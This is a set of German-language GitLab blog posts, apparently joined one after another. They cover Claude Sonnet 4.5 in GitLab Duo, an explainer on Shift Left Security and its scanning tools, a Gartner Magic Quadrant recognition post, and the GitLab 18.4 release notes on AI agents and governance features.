Nutzer(innen) haben nun die Flexibilität, Claude Sonnet 4.5 neben anderen führenden Modellen auszuwählen und ihre GitLab Duo-Experience mit Verbesserungen in Tool-Orchestrierung, Kontext-Bearbeitung und domänenspezifischen Fähigkeiten zu erweitern. Mit Spitzenleistung auf SWE-bench Verified (77,2 %) und Stärken in Cybersecurity, Finanzen und forschungsintensiven Workflows können GitLab-Nutzer(innen) Claude Sonnet 4.5 einsetzen, um schärfere Einblicke und tieferen Kontext in ihre Entwicklungsarbeit zu bringen.

"Claude Sonnet 4.5 in GitLab zu haben, ist ein großer Gewinn für Entwickler(innen). Es ist ein wirklich leistungsfähiges Coding-Modell, und wenn du es mit der GitLab Duo Agent Platform verwendest, erhältst du smartere Hilfe direkt in deinen Workflows. Es ist die Art von Schritt, die Entwicklung einfacher macht", sagt Taylor McCaslin, Principal, Strategy and Operations for AI Partnerships bei GitLab.

GitLab Duo Agent Platform + Claude Sonnet 4.5

Die GitLab Duo Agent Platform erweitert die Leistungsfähigkeit von Claude Sonnet 4.5, indem sie Agenten orchestriert, sie mit internen Systemen verbindet und sie über den gesamten Software-Lebenszyklus integriert. Diese Kombination schafft eine einzigartig GitLab-Experience – in der fortschrittliches Reasoning und Problemlösung auf plattformweiten Kontext und Sicherheit treffen. Das Ergebnis ist schnellere Entwicklung, genauere Ergebnisse und stärkere organisatorische Abdeckung – alles direkt im GitLab-Workflow, den Entwickler(innen) täglich nutzen.

Wie du Claude Sonnet 4.5 nutzen kannst

Claude Sonnet 4.5 ist jetzt als Modelloption in GitLab Duo Agent Platform Agentic Chat auf GitLab.com verfügbar. Du kannst Claude Sonnet 4.5 aus dem Modellauswahl-Dropdown wählen, um seine Coding-Funktionen für deine Entwicklungsaufgaben zu nutzen.

{altText="Screenshot showing the model selection dropdown in GitLab Duo with Claude Sonnet 4.5 highlighted as an available option"}

Hinweis: Die Möglichkeit, Claude Sonnet 4.5 in unterstützten IDEs auszuwählen, wird bald verfügbar sein.

Leg los

GitLab Duo Pro- und Enterprise-Kund(inn)en können Claude Sonnet 4.5 ab sofort nutzen. Besuche unsere Dokumentation, um mehr über GitLab Duo-Funktionen und -Modelle zu erfahren.

Fragen oder Feedback? Teile deine Erfahrungen über die GitLab Community mit uns.

Willst du GitLab Ultimate mit Duo Enterprise ausprobieren? Melde dich noch heute für eine kostenlose Testversion an.

Was ist Shift Left Security?

Shift Left Security bezeichnet einen Ansatz in der Softwareentwicklung, bei dem Sicherheitsmaßnahmen möglichst früh im Entwicklungsprozess integriert werden.

Traditionell wurden Sicherheitstests erst am Ende des Softwareentwicklungszyklus (SDLC) durchgeführt, zum Beispiel in der Test- oder Produktionsphase. Dieses Vorgehen führt oft zu höheren Kosten und längeren Entwicklungszeiten, wenn kritische Sicherheitslücken spät entdeckt werden.

Mit dem Shift Left Ansatz wird das Thema Sicherheit nun auf der Zeitachse der Anwendungsentwicklung nach links verschoben, sodass anfälliger Code früh entdeckt werden kann. Ziel ist es, Schwachstellen schon in den frühen Phasen wie Planung, Design oder Codierung zu erkennen und zu beheben, statt sie erst im späteren Verlauf oder nach dem Deployment zu adressieren.

Der Shift Left Ansatz

Shift Left Security ist eine strategische Herangehensweise, bei der Sicherheit möglichst früh in den Entwicklungsprozess integriert wird – nicht durch ein einzelnes Tool, sondern durch eine Kombination verschiedener Maßnahmen.

Typischerweise werden dafür Sicherheitstools entlang des Entwicklungszyklus eingesetzt, darunter:

• SCA (Software Composition Analysis): SCA erkennt Schwachstellen und Lizenzrisiken in Open-Source-Komponenten, indem es Paketverwaltung, Manifestdateien, Binärdateien und Container-Images analysiert. Die Ergebnisse werden in einer Software-Stückliste (sog. Software Bill of Materials) zusammengeführt und mit Schwachstellen- und Lizenzdatenbanken abgeglichen. So lassen sich Sicherheits- und Compliance-Probleme systematisch aufspüren und schnell adressieren.
• SAST (Static Application Security Testing): SAST ist ein White-Box-Verfahren, das den Quellcode analysiert, ohne die Anwendung auszuführen. Es spiegelt die Sichtweise von Entwickler(innen) wider und erkennt Schwachstellen früh im Softwareentwicklungszyklus, z. B. fehlende Eingabevalidierung oder unsichere Codemuster. Dadurch ist es besonders kosteneffizient. Laufzeit- oder umgebungsbezogene Probleme kann SAST allerdings nicht erfassen.
• DAST (Dynamic Application Security Testing): DAST ist ein Black-Box-Verfahren, das laufende Web-Anwendungen testet und sich an der Methodik potenzieller Angreifer(innen) orientiert. Es erkennt Schwachstellen wie XSS, fehlerhafte Authentifizierung oder Konfigurationsfehler zur Laufzeit – ohne Kenntnis des zugrundeliegenden Codes. DAST wird typischerweise in späten Phasen der Entwicklung oder in Testumgebungen eingesetzt und eignet sich ausschließlich für Web-Anwendungen und -Services.
• Secret Scanning: Shift Left Security umfasst auch das Scannen von Container-Images und serverlosen Funktionen, da moderne Anwendungen zunehmend in Containern ausgeführt oder über serverlose Architekturen bereitgestellt werden. Beim Scannen eines Container-Images wird der Inhalt auf Sicherheitslücken, Schwachstellen im Build-Prozess und fehlerhafte Konfigurationen geprüft. Ziel ist es, Probleme zu erkennen, bevor das Image in der Produktion verwendet wird. Das Scannen serverloser Funktionen erfordert spezielle Überwachungslösungen, die cloud-native Umgebungen abdecken und auch ohne klassische Serverinfrastruktur funktionieren.

Diese Tools können einzeln oder kombiniert verwendet werden. Effektiver ist jedoch eine automatisierte Sicherheitsplattform, die Risiken in allen Phasen des Entwicklungszyklus erkennt – von der Codierung bis zur Bereitstellung. So können DevOps-Teams Schwachstellen frühzeitig und systematisch beheben.

Lesetipp: SAST vs. DAST - Die Unterschiede erklärt

Vorteile der Shift Left Security

Die Linksverschiebung sicherheitsrelevanter Maßnahmen führt zu einer Reihe von Vorteilen für Unternehmen und Entwickler(innen).

• Frühzeitiges Erkennen von Sicherheitsrisiken: Durch Sicherheitsanalysen direkt im Code oder bei der Integration von Abhängigkeiten lassen sich Schwachstellen erkennen, bevor sie in produktive Systeme gelangen. Dies verschafft Entwickler(innen) mehr Zeit für die Reaktion und reduziert die potenzielle Bedrohung (beispielsweise durch Exploits oder Datenlecks) erheblich.
• Geringere Kosten für Fehlerbehebung: Je später ein Sicherheitsfehler entdeckt wird, desto teurer ist seine Behebung. Wird eine Schwachstelle bereits vor dem Build entdeckt, reicht oft eine einfache Codeänderung – ohne zusätzlichen Aufwand für Tests oder Deployments. Wird das Problem erst in der Produktion bemerkt, ist der Aufwand deutlich höher und der gesamte Prozess kann Wochen dauern. Frühes Eingreifen spart Zeit, senkt die Kosten und ermöglicht es Entwickler(innen), sich stärker auf neue Funktionen statt auf Notfallpatches zu konzentrieren.
• Schnellere Entwicklungszyklen: Sicherheitsprobleme lassen sich schneller beheben, solange sie nur im Quellcode bestehen. Wird ein Problem erst kurz vor dem Release oder in der Produktion entdeckt, verlängert sich der Behebungsprozess deutlich – mit der Gefahr, gesetzte Fristen zu verpassen und die Time-to-Market zu verlangsamen.
• Bessere Codequalität: Sicherheitsüberprüfungen fördern eine saubere Code-Architektur, konsistente Implementierung und verständlichen Code. So entstehen robuste und wartbare Anwendungen.
• Bessere Zusammenarbeit: Shift Left Security fördert die Zusammenarbeitzwischen Entwickler(innen) und Security-Teams. Wird ein Sicherheitsproblem früh im Quellcode erkannt, können beide Seiten gemeinsam daran arbeiten, ohne Schuldzuweisungen oder Zeitdruck. Das verbessert die Kommunikation und stärkt das gegenseitige Verständnis.
• Reduziertes Risiko im Live-Betrieb: Wird eine Schwachstelle erst im laufenden Betrieb entdeckt, sind schnelle und oft drastische Maßnahmen nötig – etwa das Abschalten der App. Wird die Schwachstelle hingegen bereits während der Entwicklung identifiziert, lässt sie sich mit geringem Aufwand und ohne größere Auswirkungen auf Nutzer(innen) beheben.

Best Practices für deinen Shift Left Security Ansatz

Shift Left Security erfordert die frühzeitige und umfassende Integration von Sicherheitsmaßnahmen in den Entwicklungsprozess – idealerweise ab dem ersten Moment, in dem Entwickler(innen) mit dem Programmieren beginnen. Die Sicherheitsprüfung soll nicht nachgelagert, sondern integraler Bestandteil der täglichen Entwicklungsarbeit sein. Damit das gelingt, solltest du auf Best Practices zurückgreifen.

#1 Integration von Sicherheitsmaßnahmen in die CI/CD-Pipeline

Sicherheits-Scans sind ein zentrales Element des Shift-Left-Ansatzes. Ihre volle Wirkung entfalten sie aber nur, wenn die Ergebnisse unmittelbar in die DevOps-Toolkette eingebunden sind. Reports sollten direkt im CI/CD-Pipeline-Bericht angezeigt werden, sodass Entwickler(innen) sie ohne Umwege nutzen können. Zusätzlich sollte die Erstellung einer Software Bill of Materials (SBOM) automatisiert werden, um alle verwendeten Abhängigkeiten, Container-Images und serverlosen Funktionen transparent zu erfassen und systematisch auf bekannte Schwachstellen zu prüfen.

#2 Anwendung von Security-Tools in der Entwicklungsumgebung

Sicherheitsfunktionen sollten direkt in die Entwicklungsumgebung eingebunden werden, damit Schwachstellen bereits vor Übertragung in den Main Branch erkannt werden. Durch die Integration in die vertrauten Toolsets der Entwickler(innen) wird eine kontinuierliche Zusammenarbeit mit dem Security-Team ermöglicht und der Aufwand für nachträgliche Korrekturen deutlich reduziert.

#3 Schulung von Entwickler(innen)

Damit Entwickler(innen) die Anwendungssicherheit bereits frühzeitig im Prozess berücksichtigen, ist eine intensive Schulung notwendig. Entwicklerteams müssen verstehen, warum sie Sicherheitsprüfungen frühzeitig durchführen – und welchen Beitrag das zur Gesamtqualität und Stabilität der Anwendung leistet. Dazu eignen sich praxisnahe und rollenbezogene Schulungsformate wie z. B. Code Labs, Code Guidelines oder Hands-on-Training.

#4 Integration von Security Reviews in Code Reviews und Pull Requests

Sicherheit sollte auch Teil von Code Reviews sein. Teams können z. B. Checklisten mit sicherheitsrelevanten Aspekten verwenden. Pair Programming bietet zusätzlich die Möglichkeit, Sicherheit direkt beim Schreiben des Codes mitzudenken – vor allem in frühen Projektphasen.

HackerOne + GitLab: Setze Shift Left Security einfach und kostengünstig um

Eine der größten Herausforderungen für die Umsetzung der Shift Left Sicherheit für Entwicklerteams ist eine aufgeblähte Toolchain. Der Wechsel zwischen Tools und unklare Rollenverteilungen können die frühzeitige Integration von Sicherheitsüberprüfungen behindern.

GitLab bietet mit HackerOne eine integrierte Lösung, die Security-Teams und Entwickler(innen) effektiv verbindet. Sicherheitslücken, die über HackerOne gemeldet und validiert werden, werden automatisch in GitLab als Tickets angelegt. Diese enthalten unter anderem:

• Synchronisation von Kommentaren
• Statusänderungen
• Zuständigkeiten
• Belohnungen
• Fälligkeitsdaten

Die Kommunikation erfolgt dabei bidirektional zwischen beiden Plattformen. Die Integration ermöglicht es somit Entwickler(innen), im gewohnten Workflow zu bleiben und Sicherheitslücken direkt zu bearbeiten.

Auswirkungen der automatisierten Sicherheitsintegration

Die Integration von HackerOne und GitLab führt in der Praxis zu:

• Bis zu 70 Prozent Zeitersparnis von der Entdeckung bis zur Behebung von Schwachstellen
• Erhöhte Transparenz über den Sicherheitsstatus im gesamten Unternehmen
• Effektivere Nutzung der Ressourcen im Security-Team
• Gesteigerte Zufriedenheit der Entwickler(innen), da sie im bevorzugten Workflow bleiben können

Keine Kompromisse bei der Shift Left Security

Shift Left Security verschiebt das Thema Sicherheit weg von der Endkontrolle hin zur kontinuierlichen Begleitung des Entwicklungsprozesses. Durch Tools wie SAST, DAST, SCA und Container-Scanning lassen sich Schwachstellen frühzeitig identifizieren – noch bevor sie produktiv wirksam werden. Das senkt Kosten, reduziert Risiken und beschleunigt Entwicklungszyklen.

Erfolgreich ist dieser Ansatz jedoch nur, wenn Sicherheitsprüfungen eng in die CI/CD-Pipeline und Entwicklungsumgebungen integriert werden und Entwickler(innen) durch gezielte Schulungen und klare Prozesse unterstützt werden. Die Fallstudie zu GitLab und HackerOne zeigt zudem, dass integrierte Plattformen Kontextwechsel vermeiden und die Effizienz deutlich steigern können. Entscheidend für eine nachhaltige Umsetzung ist eine Sicherheitskultur, in der Entwicklung und Security partnerschaftlich und auf Augenhöhe zusammenarbeiten.

Wir glauben, dass diese Anerkennung unsere umfassende Plattformstrategie in einem kritischen Moment für die Softwareentwicklung bestätigt. Unternehmen wetteifern darum, KI-gestützte Funktionen zu übernehmen und gleichzeitig Sicherheit, Compliance und operative Exzellenz aufrechtzuerhalten. Erfolg erfordert einen einheitlichen Plattformansatz, der die Art und Weise transformiert, wie Teams zusammenarbeiten und Mehrwert liefern.

Ob unsere Kunden agile Software bereitstellen, Cloud-native Anwendungen entwickeln oder Plattformen konstruieren – GitLab ermöglicht es ihnen, im Einklang mit KI-Agenten zusammenzuarbeiten, um sichere und zuverlässige Software schneller zu liefern.

<p></p>

Lade den Report herunter, um mehr zu erfahren.

Schnellere Time-to-Value

Unsere Mission ist es, allen zu ermöglichen, zur Software beizutragen und sie mitzugestalten, die unsere Welt antreibt. Das rasante Tempo unserer Innovationsagenda zeigt, dass wir noch lange nicht fertig sind. Wir haben unseren Kunden über 150 Monate hinweg jeden Monat neue Lösungen geliefert, und diese Tradition wird fortgesetzt.

Während wir die Branche anführen, bleiben wir unserem Engagement treu, unseren Kunden dabei zu helfen, diese neuen Funktionen in Geschäftswert umzusetzen.

Wir sind fest davon überzeugt, dass in dieser Ära beschleunigter KI-gestützter Innovation im gesamten Technologie-Ökosystem ein einheitlicher Plattformansatz zur Bewältigung der schwierigsten Engineering-Herausforderungen unserer Kunden wichtiger denn je ist. Dieser Ansatz ermöglicht es Organisationen, Integrations-Overhead zu reduzieren, Sicherheitslücken zu schließen und Innovationen zu übernehmen, ohne bestehende Software-Delivery-Workflows zu stören.

Hier sind einige Beispiele:

• Beschleunige Releases mit agentischer KI: Fragmentierte Toolchains verlangsamen Code Reviews und Tests. GitLab Duo Agents und Flows automatisieren Aufgaben wie Code Reviews, Testgenerierung und Vulnerability Triage im Kontext der vollständigen Plattform und helfen Teams, Zykluszeiten zu verkürzen und die Qualität zu verbessern.
• Von Anfang an sicher entwickeln: Viele Organisationen behandeln Sicherheit als nachträglichen Gedanken, was zu kostspieliger Nacharbeit und Compliance-Lücken führt. GitLab bettet Scanning, Policy-Durchsetzung und Compliance-Checks in alltägliche Workflows ein und erkennt Risiken früher, ohne Entwickler auszubremsen.
• Mit Flexibilität deployen: Teams mit strengen regulatorischen oder operativen Einschränkungen benötigen Deployment-Optionen jenseits von Multi-Tenant-SaaS. GitLab unterstützt SaaS, Self-Managed, Air-Gapped und FedRAMP Moderate autorisierte Umgebungen und stellt sicher, dass Kunden die Kontrolle behalten, wo Wettbewerber das nicht können.
• Konsistente Innovation liefern: Tool-Fragmentierung macht die Übernahme neuer Features riskant und störend. GitLabs monatliche Releases liefern neue Funktionen wie GitLab Duo Agent Platform, erweiterte KI-Governance und Cloud-Integrationen, die Teams ohne Umrüstung übernehmen können.

Kundenanwendungsfälle, die wirklich zählen

GitLab unterstützt die folgenden Innovationsbereiche:

• Integriertes Toolset für Cloud-native Bereitstellung und Unternehmensskalierung
• Erweiterte Planungstools und umfangreiche Sicherheitsfunktionen
• Package Management und Feature Flags für progressive Bereitstellung
• Value Stream Metriken für Sichtbarkeit und Verbesserung über den gesamten Lebenszyklus
• KI-native Workflows, direkt in tägliche Aufgaben eingebettet

Diese Vielseitigkeit führt zu echtem Kundenwert, wie Bal Kang, Engineering Platform Lead bei NatWest, erklärt:

„GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten verstehen Absichten, zerlegen Probleme und werden aktiv – sie werden zu echten Mitarbeitern unserer Teams."

Die Verlagerung hin zu einheitlichen Plattformen stellt eine grundlegende Veränderung dar, wie Organisationen an die Softwareentwicklung herangehen. Wir glauben, dass Gartner® uns deshalb kürzlich auch als Leader im 2025 Magic Quadrant™ für AI Code Assistants ausgezeichnet hat.

Da Unternehmen die Entwicklerproduktivität sicher maximieren und Innovation beschleunigen möchten, wird ein umfassender Plattformansatz dringender denn je.

Lade den Report herunter, um mehr zu erfahren.

GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen Tochtergesellschaften in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen Tochtergesellschaften und wird hier mit Genehmigung verwendet. Alle Rechte vorbehalten.

Gartner befürwortet keinen Anbieter, kein Produkt oder keine Dienstleistung, die in seinen Forschungspublikationen dargestellt werden, und rät Technologiebenutzern nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Bezeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Forschungsorganisation von Gartner und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Garantien in Bezug auf diese Forschung ab, einschließlich jeglicher Garantien der Marktgängigkeit oder Eignung für einen bestimmten Zweck.

Diese Grafik wurde von Gartner Inc. als Teil eines größeren Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage bei Gartner B.V. erhältlich.

Quelle: Gartner, Magic Quadrant for DevOps Platforms, Keith Mann, Thomas Murphy, Bill Holz, George Spafford, 22. September 2025

Mit GitLab 18.3 haben wir das Fundament für echte Mensch-KI-Zusammenarbeit gelegt. Wir integrierten führende KI-Tools wie Claude Code, Codex CLI, Amazon Q CLI und Gemini CLI nativ in GitLab, lieferten unsere erste Vorschau des GitLab Model Context Protocol (MCP)-Servers in Partnerschaft mit Cursor und veröffentlichten zwei neue Flows – Issue to MR und Convert CI File for Jenkins Flows – um Teams bei alltäglichen Herausforderungen zu unterstützen.

Mit GitLab 18.4 erweitern wir deine Möglichkeiten, eigene Agents zu erstellen und zu teilen, effektiver durch Agentic Chat zusammenzuarbeiten, Codebasen mit dem Knowledge Graph zu navigieren und Pipelines mit dem Fix Failed Pipelines Flow grün zu halten – während wir gleichzeitig mehr Sicherheit und Governance für deine KI-Nutzung bieten.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1120293274?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="18.4 Release video placeholder"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Hast du Fragen zu den neuesten Features in GitLab 18.4? Sei bei The Developer Show dabei – live auf LinkedIn am 23. September um 10:00 Uhr PT (19:00 Uhr in Europa) oder kurz danach auf Abruf!

Gestalte deine Experience

Starte deinen Tag mit dem AI Catalog – einer Bibliothek spezialisierter Agents, die Prioritäten aufzeigen, Routinearbeit automatisieren und dich auf das Wesentliche fokussiert halten.

AI Catalog als deine Bibliothek spezialisierter Agents

Mit GitLab 18.4 führen wir den GitLab Duo AI Catalog ein – eine zentrale Bibliothek, in der Teams maßgeschneiderte Agents erstellen, teilen und unternehmensweit nutzen können. Jedes Team hat seine eigene Arbeitsweise. Ein Custom Agent zu erstellen ist daher wie das Einarbeiten eines neuen Kollegen in die „richtige" Arbeitsweise deiner Organisation.

Zum Beispiel kann ein Custom Product Planning Agent Bugs im spezifischen Format mit deinen Labeling-Standards erfassen, ein Technical Writer Agent kann prägnante Dokumentation nach deinen Konventionen verfassen, oder ein Security Agent stellt sicher, dass deine Sicherheits- und Compliance-Standards bei jedem MR eingehalten werden. Statt als isolierte Tools zu funktionieren, werden diese Agents Teil des natürlichen Arbeitsflusses in GitLab – sie beschleunigen Aufgaben ohne etablierte Prozesse zu stören.

Hinweis: Diese Funktion ist derzeit nur auf GitLab.com verfügbar. Für Self-Managed-Kunden planen wir die Bereitstellung nächsten Monat mit Release 18.5.

Bleib im Flow

GitLab Duo Agentic Chat macht die Zusammenarbeit mit Agents nahtlos.

Smarterer Agentic Chat für optimierte Zusammenarbeit mit Agents

Als Herzstück der GitLab Duo Agent Platform bietet dir Agentic Chat eine nahtlose Möglichkeit, mit KI-Agents zusammenzuarbeiten. Das neueste Update des Agentic Chat mit GitLab 18.4 verbessert das Chat-Erlebnis und erweitert die Verwaltung und Darstellung von Sessions.

• Chat mit Custom Agents

  Starten wir mit deinem neu erstellten Custom Agent. Einmal designt, kannst du diesen Agent sofort über Agentic Chat einsetzen. Du könntest deinen neuen Agent beispielsweise fragen: „Zeig mir meine Aufgaben für heute", um mit deinen Prioritäten zu starten. Zusätzlich hast du jetzt die Möglichkeit, neue Unterhaltungen mit neuen Agents zu beginnen und vorherige Unterhaltungen fortzusetzen, ohne den Kontext zu verlieren.

• Modellauswahl für Nutzer

  Mit früheren Releases konntest du Modelle auf Namespace-Ebene auswählen, aber mit 18.4 kannst du nun Modelle auf Nutzerebene für eine bestimmte Chat-Session wählen. Das ermächtigt dich, zu entscheiden, welches LLM für die jeweilige Aufgabe geeignet ist, oder mit verschiedenen LLMs zu experimentieren, um zu sehen, welches die beste Antwort für deine Aufgabe liefert.

• Verbesserte Formatierung und visuelles Design

  Wir hoffen, du liebst das neue visuelle Design für GitLab Duo Agentic Chat, einschließlich verbesserter Handhabung von Tool-Call-Genehmigungen für ein angenehmeres Erlebnis.

• Agent Sessions verfügbar über Agentic Chat

  Sessions werden zu einem zentralen Bestandteil des Agentic Chat-Erlebnisses. Jeder Agent-Run oder Flow erscheint nun in der Sessions-Übersicht, die über Agentic Chat verfügbar ist. In jeder Session siehst du detaillierte Informationen wie Job-Logs, Nutzerinformationen und Tool-Metadaten – das bietet wichtige Transparenz darüber, wie Agents in deinem Auftrag arbeiten.

  Hinweis: Sessions in Agentic Chat ist nur auf GitLab.com verfügbar. Diese Verbesserung ist für Self-Managed-Kunden nächsten Monat im 18.5-Update geplant.

Erschließe deine Codebase

Bei Agents ist Kontext entscheidend. Mit Knowledge Graph gibst du deinen Agents mehr Kontext, damit sie schneller analysieren und dir bessere Ergebnisse liefern können.

Neu: Der GitLab Knowledge Graph (Beta)

Der GitLab Knowledge Graph in 18.4 transformiert, wie Entwickler und Agents komplexe Codebasen verstehen und navigieren. Der Knowledge Graph bietet eine vernetzte Karte deines gesamten Projekts und verknüpft Dateien, Routen und Referenzen über den Software-Entwicklungszyklus hinweg. Durch Tools wie Go-to-Definition, Codebase-Suche und Referenz-Tracking über In-Chat-Queries erhalten Entwickler die Möglichkeit, präzise Fragen zu stellen wie „Zeig mir alle Route-Dateien" oder „Was ist noch von dieser Änderung betroffen?"

Dieser tiefere Kontext hilft Teams, schneller und mit mehr Vertrauen zu arbeiten – egal ob es um das Onboarding neuer Mitwirkender geht, tiefgehende Recherche in einem Projekt oder die Untersuchung, wie eine Änderung abhängigen Code beeinflusst. Je mehr von deinem Ökosystem in GitLab lebt, desto mächtiger wird der Knowledge Graph und gibt sowohl Menschen als auch KI-Agents das Fundament, mit Genauigkeit, Geschwindigkeit und vollem Projektbewusstsein zu bauen. In zukünftigen Releases werden wir alle deine GitLab-Daten in den Knowledge Graph einbinden, einschließlich Plans, MRs, Sicherheitslücken und mehr.

Dieses Release des Knowledge Graph fokussiert sich auf lokale Code-Indexierung, bei der das gkg CLI deine Codebase in eine lebendige, einbettbare Graph-Datenbank für RAG verwandelt. Du kannst es mit einem einfachen Einzeiler-Script installieren, lokale Repositories parsen und über MCP verbinden, um deinen Workspace abzufragen.

Unsere Vision für das Knowledge Graph-Projekt ist zweigeteilt: Wir bauen eine lebendige Community Edition, die Entwickler heute schon lokal ausführen können, die als Fundament für einen zukünftigen, vollständig integrierten Knowledge Graph Service innerhalb von GitLab.com und Self-Managed-Instanzen dienen wird.

Automatisiere deine Pipeline-Wartung

Behebe Pipeline-Fehler schneller und bleib im Flow mit dem Fix Failed Pipelines Flow.

Fix Failed Pipelines Flow mit Business-Bewusstsein

Pipelines grün zu halten ist entscheidend für deine Entwicklungsgeschwindigkeit, aber traditionelle Ansätze konzentrieren sich nur auf technische Fehlersuche ohne Berücksichtigung der geschäftlichen Auswirkungen. Der Fix Failed Pipelines Flow adressiert diese Herausforderung, indem er technische Analyse mit strategischem Kontext kombiniert. Er kann beispielsweise automatisch priorisieren, eine fehlgeschlagene Deployment-Pipeline für einen kundenorientierten Service vor einem nächtlichen Test-Job zu reparieren oder Build-Probleme in einem hochpriorisierten Release-Branch anders zu kennzeichnen als in experimentellen Feature-Branches.

• Business-bewusste Fehlererkennung überwacht Pipeline-Ausführungen und versteht dabei die Bedeutung verschiedener Workflows und Deployment-Ziele.
• Kontextuelle Ursachenanalyse analysiert Fehlerprotokolle zusammen mit Geschäftsanforderungen, kürzlichen Änderungen und projektübergreifenden Abhängigkeiten, um die zugrunde liegenden Ursachen zu identifizieren.
• Strategische Fix-Priorisierung generiert geeignete Fixes unter Berücksichtigung von geschäftlichen Auswirkungen, Deadlines und Prioritäten bei der Ressourcenzuweisung.
• Workflow-integrierte Lösung erstellt automatisch Merge Requests mit Fixes, die ordnungsgemäße Review-Prozesse beibehalten und gleichzeitig geschäftlichen Kontext für Priorisierungsentscheidungen liefern.

Dieser Flow hält Pipelines grün und wahrt dabei die strategische Ausrichtung, sodass automatisierte Fixes Geschäftsziele unterstützen, anstatt nur technische Probleme isoliert zu lösen.

Personalisiere deine KI-Umgebung

Automatisierung funktioniert nur, wenn du den Modellen dahinter vertraust. Deshalb liefert 18.4 Governance-Features wie Modellauswahl und GitLab-verwaltete Schlüssel.

GitLab Duo Modellauswahl zur Optimierung der Feature-Performance

Die Modellauswahl ist jetzt allgemein verfügbar und gibt dir direkte Kontrolle darüber, welche Large Language Models (LLMs) GitLab Duo antreiben. Du und dein Team könnt die Modelle eurer Wahl auswählen, sie unternehmensweit anwenden oder pro Feature anpassen. Du kannst Standards setzen, um Konsistenz über Namespaces und Tools hinweg zu gewährleisten, mit Governance-, Compliance- und Sicherheitsanforderungen im Blick.

Für Kunden, die GitLab Duo Self-Hosted nutzen, bietet die neu hinzugefügte Unterstützung für GPT OSS und GPT-5 zusätzliche Flexibilität für KI-gestützte Entwicklungs-Workflows.

Hinweis: GitLab Duo Self-Hosted ist für GitLab.com-Kunden nicht verfügbar, und GPT-Modelle werden auf GitLab.com nicht unterstützt.

Schütze deinen sensiblen Kontext

Neben Governance kommt Datenschutz, der dir feingranulare Kontrolle darüber gibt, was KI sehen kann und was nicht.

GitLab Duo Context Exclusion für granularen Datenschutz

Es ist keine Überraschung – du brauchst granulare Kontrolle darüber, auf welche Informationen KI-Agents zugreifen können. GitLab Duo Context Exclusion in 18.4 bietet Einstellungen auf Projektebene, mit denen Teams bestimmte Dateien oder Dateipfade vom KI-Zugriff ausschließen können. Zu den Funktionen gehören:

• Datei-spezifische Ausschlüsse zum Schutz sensibler Dateien wie Passwort-Konfigurationen, Secrets und proprietäre Algorithmen.
• Pfad-basierte Regeln zur Erstellung von Ausschlussmustern basierend auf Verzeichnisstrukturen oder Dateinamenskonventionen.
• Flexible Konfiguration zur Anwendung von Ausschlüssen auf Projektebene bei gleichzeitiger Aufrechterhaltung der Entwicklungs-Workflow-Effizienz.
• Audit-Sichtbarkeit zur Verfolgung, welche Inhalte ausgeschlossen sind, um die Einhaltung von Daten-Governance-Richtlinien zu unterstützen.

GitLab Duo Context Exclusion hilft dir, sensible Daten zu schützen, während du die Entwicklung mit agentischer KI beschleunigst.

Erweitere deine KI-Fähigkeiten mit neuen MCP-Tools

Erweiterte MCP-Tools erweitern diese Fähigkeiten noch weiter und verbinden deine GitLab-Umgebung mit einem breiteren Ökosystem intelligenter Agents.

Neue Tools für GitLab MCP Server

Aufbauend auf dem in 18.3 eingeführten initialen MCP-Server fügt GitLab 18.4 weitere MCP-Tools hinzu – Funktionen, die definieren, wie MCP-Clients mit GitLab interagieren. Diese neuen Tools erweitern die Integrationsmöglichkeiten und ermöglichen sowohl First-Party- als auch Third-Party-KI-Agents, komplexere Aufgaben zu übernehmen, wie den Zugriff auf Projektdaten, die Durchführung von Code-Operationen oder die Suche über Repositories hinweg – alles unter Beachtung bestehender Sicherheits- und Berechtigungsmodelle. Eine vollständige Liste der MCP-Tools, einschließlich der neuen Ergänzungen in 18.4, findest du in unserer MCP-Server-Dokumentation.

Erlebe die Zukunft der intelligenten Software-Entwicklung

Mit der GitLab Duo Agent Platform können Ingenieure von der Arbeit an einzelnen Issues in sequenzieller Weise zu Multi-Thread-Zusammenarbeit mit asynchronen Agents übergehen, die wie Teamkollegen agieren, um Arbeit schneller zu erledigen. Wir bringen diese einzigartige Vision mit den Präferenzen unserer Kunden für Unabhängigkeit und Wahlfreiheit auf den Markt: Betreibe sie in deinen bevorzugten Cloud-Umgebungen mit den LLMs und KI-Tools, die für dich am besten funktionieren, innerhalb der von dir festgelegten Sicherheits- und Compliance-Leitplanken.

Als integraler Bestandteil dieser Innovation ist GitLab 18.4 mehr als ein Software-Upgrade – es geht darum, das tägliche Erlebnis von Entwicklern reibungsloser, smarter und sicherer zu gestalten. Von wiederverwendbaren Agents bis zu business-bewussten Pipeline-Fixes ist jedes Feature darauf ausgelegt, Teams im Flow zu halten und gleichzeitig Geschwindigkeit, Sicherheit und Kontrolle auszubalancieren. Für einen tieferen Einblick, wie diese Funktionen in der Praxis zusammenkommen, schau dir unser Walkthrough-Video an.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1120288083?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="A day in the life with GitLab Duo Agent Platform"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script> <p></p>

GitLab Premium- und Ultimate-Nutzer können diese Funktionen heute auf GitLab.com und in Self-Managed-Umgebungen nutzen, mit Verfügbarkeit für GitLab Dedicated-Kunden nächsten Monat.

